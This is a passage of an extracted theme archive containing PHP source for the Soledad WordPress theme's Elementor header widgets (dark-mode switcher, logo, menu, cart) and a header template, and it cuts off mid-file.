				'3' => __( 'Style 3', 'soledad' ),
				'4' => __( 'Style 4', 'soledad' ),
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnbg:{{VALUE}}']
		] );

		$this->add_control( 'dcolor', [
			'label' => esc_html__( 'Day Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnd:{{VALUE}}']
		] );

		$this->add_control( 'dbgcolor', [
			'label' => esc_html__( 'Day Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btndbg:{{VALUE}}']
		] );

		$this->add_control( 'ncolor', [
			'label' => esc_html__( 'Night Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnn:{{VALUE}}']
		] );

		$this->add_control( 'nbgcolor', [
			'label' => esc_html__( 'Night Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnnbg:{{VALUE}}']
		] );


		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings();
		$style = $settings['btn_style'];
		?>
		<div class="pb-header-builder pc-dmswitcher-element">
			<div class="pc_dm_mode style_<?php echo esc_attr( $style ); ?>">
				<label class="pc_dm_switch">
					<input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
					<span class="slider round"></span>
				</label>
			</div>
		</div>

		<?php
	}
}PK     N\ܼ$  $  -  inc/template-builder/header-elements/logo.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderLogo extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Logo', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'logo' ];
	}

	public function get_name() {
		return 'penci-header-logo';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->start_controls_tabs( 'logo_settings' );

		$this->start_controls_tab(
			'logo_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control( 'logo_img', [
			'label'   => esc_html__( 'Logo Image', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::MEDIA,
			'default' => array( 'url' => PENCI_SOLEDAD_URL . '/images/logo.png' ),
		] );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'logo_darkmode', array(
				'label' => __( 'Dark Mode', 'soledad' )
			)
		);

		$this->add_control( 'logo_img_dark', [
			'label'   => esc_html__( 'Logo Image for Dark Mode', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::MEDIA,
			'default' => array( 'url' => PENCI_SOLEDAD_URL . '/images/logo.png' ),
		] );
		
		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_group_control(
			\Elementor\Group_Control_Image_Size::get_type(),
			[
				'name'    => 'image_size',
				'default' => 'large',
			]
		);

		$this->add_control( 'logo_slogan', [
			'label'   => esc_html__( 'Logo Slogan', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => get_option( 'blogdescription' ),
		] );


		$this->add_control( 'link_to', [
			'label'   => esc_html__( 'Link To', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'site_url',
			'options' => [
				'none'     => esc_html__( 'None', 'soledad' ),
				'site_url' => esc_html__( 'Site URL', 'soledad' ),
				'custom'   => esc_html__( 'Custom URL', 'soledad' ),
			],
		] );

		$this->add_control(
			'url',
			[
				'label'              => esc_html__( 'URL', 'soledad' ),
				'type'               => \Elementor\Controls_Manager::URL,
				'condition'          => [
					'link_to' => 'custom',
				],
				'frontend_available' => true,
				'dynamic'            => [
					'active' => true,
				],
			]
		);

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_responsive_control(
			'align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::CHOOSE,
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'width',
			[
				'label'          => esc_html__( 'Width', 'soledad' ),
				'type'           => \Elementor\Controls_Manager::SLIDER,
				'default'        => [
					'unit' => '%',
				],
				'tablet_default' => [
					'unit' => '%',
				],
				'mobile_default' => [
					'unit' => '%',
				],
				'size_units'     => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ],
				'range'          => [
					'%'  => [
						'min' => 1,
						'max' => 100,
					],
					'px' => [
						'min' => 1,
						'max' => 1000,
					],
					'vw' => [
						'min' => 1,
						'max' => 100,
					],
				],
				'selectors'      => [
					'{{WRAPPER}} .penci-mainlogo' => 'max-width:100%;width: {{SIZE}}{{UNIT}};height:auto',
				],
			]
		);

		$this->add_responsive_control(
			'height',
			[
				'label'      => esc_html__( 'Height', 'soledad' ),
				'type'       => \Elementor\Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ],
				'range'      => [
					'px' => [
						'min' => 1,
						'max' => 500,
					],
					'vh' => [
						'min' => 1,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-mainlogo' => 'height: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->start_controls_tabs( 'image_effects' );

		$this->start_controls_tab( 'normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'opacity',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max'  => 1,
						'min'  => 0.10,
						'step' => 0.01,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-mainlogo' => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters',
				'selector' => '{{WRAPPER}} .penci-mainlogo',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'opacity_hover',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max'  => 1,
						'min'  => 0.10,
						'step' => 0.01,
					],
				],
				'selectors' => [
					'{{WRAPPER}}:hover .penci-mainlogo' => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters_hover',
				'selector' => '{{WRAPPER}}:hover .penci-mainlogo',
			]
		);

		$this->add_control(
			'background_hover_transition',
			[
				'label'     => esc_html__( 'Transition Duration', 'soledad' ) . ' (s)',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 3,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-mainlogo' => 'transition-duration: {{SIZE}}s',
				],
			]
		);

		$this->add_control(
			'hover_animation',
			[
				'label' => esc_html__( 'Hover Animation', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::HOVER_ANIMATION,
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_group_control(
			\Elementor\Group_Control_Border::get_type(),
			[
				'name'      => 'image_border',
				'selector'  => '{{WRAPPER}} .penci-mainlogo',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'image_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-mainlogo' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'image_box_shadow',
				'exclude'  => [
					'box_shadow_position',
				],
				'selector' => '{{WRAPPER}} .penci-mainlogo',
			]
		);

		$this->end_controls_section();

	}

	protected function get_link_url( $settings ) {
		switch ( $settings['link_to'] ) {
			case 'none':
				return [ 'url' => '#' ];

			case 'custom':
				return ( ! empty( $settings['link']['url'] ) ) ? $settings['link'] : false;

			case 'site_url':
				return [ 'url' => home_url( '/' ) ];

			default:
				return [ 'url' => $settings['logo_img']['url'] ];
		}
	}

	protected function render() {
		$settings       = $this->get_settings();
		$logo_src       = isset( $settings['logo_img']['url'] ) ? $settings['logo_img']['url'] : '';
		$dark_logo      = isset( $settings['logo_img_dark']['url'] ) ? $settings['logo_img_dark']['url'] : '';
		$data_dark_logo = '';
		$logo_slogan    = $settings['logo_slogan'];
		$logo_url       = $this->get_link_url( $settings );
		if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
			$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
			$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
		}
		?>
        <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-image-logo">
            <a rel="home" href="<?php echo esc_url( $logo_url['url'] ); ?>">
                <img class="penci-mainlogo penci-limg pclogo-cls" <?php echo $data_dark_logo; ?>
                     src="<?php echo esc_url( $logo_src ); ?>"
                     alt="<?php bloginfo( 'name' ); ?>"
                     width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                     height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
				<?php if ( ! empty( $logo_slogan ) ): ?>
                    <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
				<?php endif; ?>
            </a>
        </div>
		<?php
	}
}PK     N\^Z(&  &  -  inc/template-builder/header-elements/menu.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderMenu extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-nav-menu';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'menu' ];
	}

	public function get_name() {
		return 'penci-header-menu';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );


		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'header_menu',
				[
					'label'        => __( 'Menu', 'soledad' ),
					'type'         => \Elementor\Controls_Manager::SELECT,
					'options'      => $menus,
					'default'      => array_keys( $menus )[0],
					'save_default' => true,
					'separator'    => 'after',
					'description'  => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'header_menu',
				[
					'type'            => \Elementor\Controls_Manager::RAW_HTML,
					'raw'             => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator'       => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}

		$this->add_control( 'header_padding', [
			'label' => esc_html__( 'Disable Padding', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );
		
		$this->add_control( 'header_vertical_mode', [
			'label' => esc_html__( 'Vertical Mode', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_header_menu_style', [
			'label'   => esc_html__( 'Sub Menu Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1'   => __( 'Style 1', 'soledad' ),
				'style-3'   => __( 'Style 2', 'soledad' ),
				'style-2'   => __( 'Style 3', 'soledad' ),
			]
		] );

		$this->add_control( 'header_remove_line_hover', [
			'label'       => esc_html__( 'Hide Line When Hover on Menu Items Level 1', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'condition'   => [ 'penci_header_menu_style' => 'style-3' ],
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'menu_nav_main_head', [
			'label' => esc_html__( 'Main Menu Items', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'menu_item_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .navigation .menu > li > a',
		) );

		$this->add_control( 'menu_item_height', [
			'label'     => esc_html__( 'Menu Item Height', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .navigation .menu > li > a' => 'line-height: {{SIZE}}px' ]
		] );
		
		$this->add_control( 'menu_item_color', [
			'label'     => esc_html__( 'Menu Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation .menu > li > a, {{WRAPPER}} .navigation ul.menu ul.sub-menu a' => 'color: {{VALUE}}' ]
		] );

		$this->add_control( 'menu_item_hvcolor', [
			'label'     => esc_html__( 'Menu Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_crbgcolor', [
			'label'     => esc_html__( 'Menu Current Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => ['header_padding!'=>'yes'],
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'background: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_crtxtcolor', [
			'label'     => esc_html__( 'Menu Current Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => ['header_padding!'=>'yes'],
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );

		$this->add_responsive_control( 'menu_item_cpadding', [
			'label'     => esc_html__( 'Custom Padding', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > ul > li > a, {{WRAPPER}} .navigation.menu-item-padding ul.menu > li > a' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px' ]
		] );
		
		$this->add_responsive_control( 'menu_item_bdcolor', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu > li' => 'border-color: {{VALUE}}px;' ]
		] );
		
		$this->add_responsive_control( 'menu_item_bdwidth', [
			'label'     => esc_html__( 'Border Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu > li' => 'border-width: {{TOP}}px {{RIGHT}}px {{BOTTOM}}px {{LEFT}}px;' ],
		] );

		$this->add_control( 'menu_nav_sub_head', [
			'label' => esc_html__( 'Sub Menu Items', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sub_menu_item_typo',
			'label'    => __( 'Sub Menu Item Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .navigation ul.menu ul.sub-menu li a',
		) );

		$this->add_control( 'menu_item_subbg', [
			'label'     => esc_html__( 'Sub Menu Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation .menu .children, {{WRAPPER}} .navigation .menu .sub-menu' => 'background: {{VALUE}}' ]
		] );

		$this->add_control( 'menu_item_style_btcolor', [
			'label'     => esc_html__( 'Menu Style 2 Border Top Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-style-2 ul.menu ul.sub-menu:before' => 'background: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_subcls', [
			'label'     => esc_html__( 'Sub Menu Item Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu ul.sub-menu > li > a' => 'color: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_subhvcls', [
			'label'     => esc_html__( 'Sub Menu Item Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu ul.sub-menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );

		$this->end_controls_section();

	}

	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function render() {

		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}

		$settings = $this->get_settings();

		$menu_id = $settings['header_menu'] ? $settings['header_menu'] : '';
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
				$menu_id = $pmeta_page_header['main_nav_menu'];
			}
		}
		$classes = [];

		if ( $settings['header_vertical_mode'] ) {
			$classes[] = 'pchdvertical-enabled';
		}

		$classes[] = 'navigation pc-elehd-menu';
		$classes[] = 'menu-' . $settings['penci_header_menu_style'];
		$classes[] = $settings['header_padding'] ? 'menu-item-normal' : 'menu-item-padding';
		$classes[] = $settings['header_remove_line_hover'] ? 'pcremove-lineh' : '';
		?>
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
             itemtype="https://schema.org/SiteNavigationElement">
			<?php
			wp_nav_menu( array(
				'menu'        => $menu_id,
				'container'   => false,
				'menu_class'  => 'menu',
				'fallback_cb' => 'penci_menu_fallback',
				'walker'      => new penci_menu_builder_walker_nav_menu()
			) );
			?>
        </nav>
		<?php
	}
}PK     N\K*a    /  inc/template-builder/header-elements/header.phpnu [        <?php
/**
 * The Header for our theme
 *
 * @package    WordPress
 * @since      1.0
 */
if ( isset( $_SERVER['HTTP_X_PJAX'] ) && $_SERVER['HTTP_X_PJAX'] === 'true' ) {
	return;
}
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
    <meta charset="<?php bloginfo( 'charset' ); ?>">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="profile" href="https://gmpg.org/xfn/11"/>
    <link rel="alternate" type="application/rss+xml" title="<?php bloginfo( 'name' ); ?> RSS Feed"
          href="<?php bloginfo( 'rss2_url' ); ?>"/>
    <link rel="alternate" type="application/atom+xml" title="<?php bloginfo( 'name' ); ?> Atom Feed"
          href="<?php bloginfo( 'atom_url' ); ?>"/>
    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>"/>
    <!--[if lt IE 9]>
	<script src="<?php echo PENCI_SOLEDAD_URL; ?>/js/html5.js"></script>
	<![endif]-->
	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
<?php /* body open action */
if ( function_exists( 'wp_body_open' ) ) {
	wp_body_open();
} else {
	do_action( 'wp_body_open' );
}
?>
<?php
if ( get_theme_mod( 'penci_custom_code_after_body_tag' ) ):
	echo do_shortcode( get_theme_mod( 'penci_custom_code_after_body_tag' ) );
endif;
?>
<?php
$penci_hide_header = $show_page_title = false;
if ( is_page() ) {
	$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

	$show_page_title  = get_theme_mod( 'penci_pheader_show' );
	$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

	$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
	if ( 'enable' == $pheader_show ) {
		$show_page_title = true;
	} elseif ( 'disable' == $pheader_show ) {
		$show_page_title = false;
	}
} else if ( is_single() ) {
	$penci_hide_header = penci_is_hide_header();
}

/**
 * Get header layout in your customizer to change header layout
 *
 * @author PenciDesign
 */
$header_layout = penci_soledad_get_header_layout();
$menu_style    = get_theme_mod( 'penci_header_menu_style' ) ? get_theme_mod( 'penci_header_menu_style' ) : 'menu-style-1';

$header_class = $header_layout;
if ( $header_layout == 'header-9' ) {
	$header_class = 'header-6 header-9';
}

if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
	get_template_part( 'template-parts/menu-hamburger' );
}

$class_wrapper_boxed = 'wrapper-boxed header-style-' . esc_attr( $header_layout );
if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
	$class_wrapper_boxed .= ' enable-boxed';
}
if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
	$class_wrapper_boxed .= ' dark-layout-enabled';
}
if ( $penci_hide_header ) {
	$class_wrapper_boxed .= ' penci-page-hide-header';
}
if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
	$class_wrapper_boxed .= ' penci-hlogo-center';
}

$header_search_style =  apply_filters( 'penci_topbar_search_style', 'showup' );
$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );
?>
<div id="soledad_wrapper" class="<?php echo esc_attr( $class_wrapper_boxed ); ?>">
	<?php
	if ( ! $penci_hide_header ) {

		do_action( 'penci_above_header_wrap' );

		echo '<div class="penci-header-wrap pc-elementor-header">';

		get_template_part( 'template-parts/header/top-instagram' );

		if ( isset( $header_block_id ) && $header_block_id  ) {
			echo penci_get_elementor_content( $header_block_id );
		}

		echo '</div>';

		do_action( 'penci_header_wrap' );

		if ( ! is_customize_preview() || ! isset( $_GET['layout_id'] ) ) {

			get_template_part( 'template-parts/header/mailchimp-below-header' );

			if ( is_home() || get_theme_mod( 'penci_featured_slider_all_page' ) ) {
				get_template_part( 'template-parts/header/feature-slider' );
			}

			if ( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ) {
				get_template_part( 'template-parts/header/mailchimp-below-header2' );
			}
		}
		do_action( 'penci_below_header_wrap' );
	}
	if ( $show_page_title && ! is_home() && ! is_front_page() ) {
		get_template_part( 'template-parts/page-header' );
	}
	?>
PK     N\(    -  inc/template-builder/header-elements/cart.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderCart extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Cart', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'cart' ];
	}

	public function get_name() {
		return 'penci-header-cart';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes' => 'width:{{SIZE}}px;',
				'{{WRAPPER}} .top-search-classes a.cart-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px',
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Cart Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
